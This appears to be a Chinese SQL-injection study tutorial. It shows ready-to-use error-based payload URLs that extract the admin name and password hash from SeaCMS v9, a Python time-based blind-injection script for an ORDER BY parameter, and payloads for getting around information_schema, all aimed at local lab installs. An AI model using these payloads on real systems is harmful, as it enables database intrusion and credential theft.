一.seacmsv9注入管理员账号密码
1.seacms漏洞介绍
海洋影视管理系统(seacms,海洋cms)是一套专为不同需求的站长而设计的视频点播系统,采用的是 php5.X+mysql 的架构,seacmsv9漏洞文件: ./comment/api/index.php,漏洞参数:$rlist
2.漏洞注入
由于seacms开源,在github上可以下载源文档,可以知道seacmsv9系统数据库(mysql)为seacms,存放管理员账号的表为sea_admin,表中存放管理员姓名的字段为name,存放管理员密码的字段为password
分析源码,可以做出如下尝试:
http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20name%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
出现如下情况
通过抓包得到以下信息:
SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment
WHERE m_type=1 AND id in (@`\'`, updatexml(1,concat_ws(0x20,0x5c,(select name from#
sea_admin limit 0,1)),1), @`\'`) ORDER BY id DESC
在这段代码中出现了sea_comment这个表,查询这个表发现没有信息:
尝试在这个表中添加信息:
再次测试:
出现用户名
同样注入密码:
http://127.0.0.1/seacmsV9.1/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20updatexml%20(1,concat_ws(0x20,0x5c,(select%20password%20from%23%0asea_admin%20limit%200,1)),1),%20@`%27`
MD5转换:
得出密码
二.order by盲注
这里用sql靶场46关做测试
sort参数传入id:
sort参数传入username:
以上两种结果可知存在排序
查看源码可知sort前面有order by
因此可以利用时间盲注,爆破出数据库
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# 构造时间盲注payload
payload = "if((ascii(substr(database(),%d,1))>%d),sleep(1),1)" % (i, mid)
# 传参
params = {"sort": payload}
start_time = time.time()
# 异常处理
try:
r = requests.get(url, params=params, timeout=20)
except requests.Timeout:
print("Request timed out.")
continue
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqlilab/Less-46/index.php'
inject_database(url)
三.如何绕过information_schema
1.通过schema_auto_increment_columns
SELECT table_schema, table_name, column_name FROM sys.schema_auto_increment_columns WHERE table_schema = database();
2.猜测常见表名/列名
尝试常见表名(如 users
, admin
, customer
)和列名(如 username
, password
):
UNION SELECT 1,2,3 FROM users -- 若存在users表,可能返回数据
3.盲注获取
如果无法直接获取元数据,可通过盲注技术逐字符猜解表名、列名:
- 布尔盲注:通过条件语句判断字符是否存在。
AND (SELECT SUBSTR(table_name,1,1) FROM (SELECT table_name FROM some_known_table LIMIT 1) x) = 'a'
- 时间盲注:通过延迟函数(如
SLEEP()
)推断字符。
IF(SUBSTR((SELECT table_name FROM ...),1,1)='a', SLEEP(2), 0)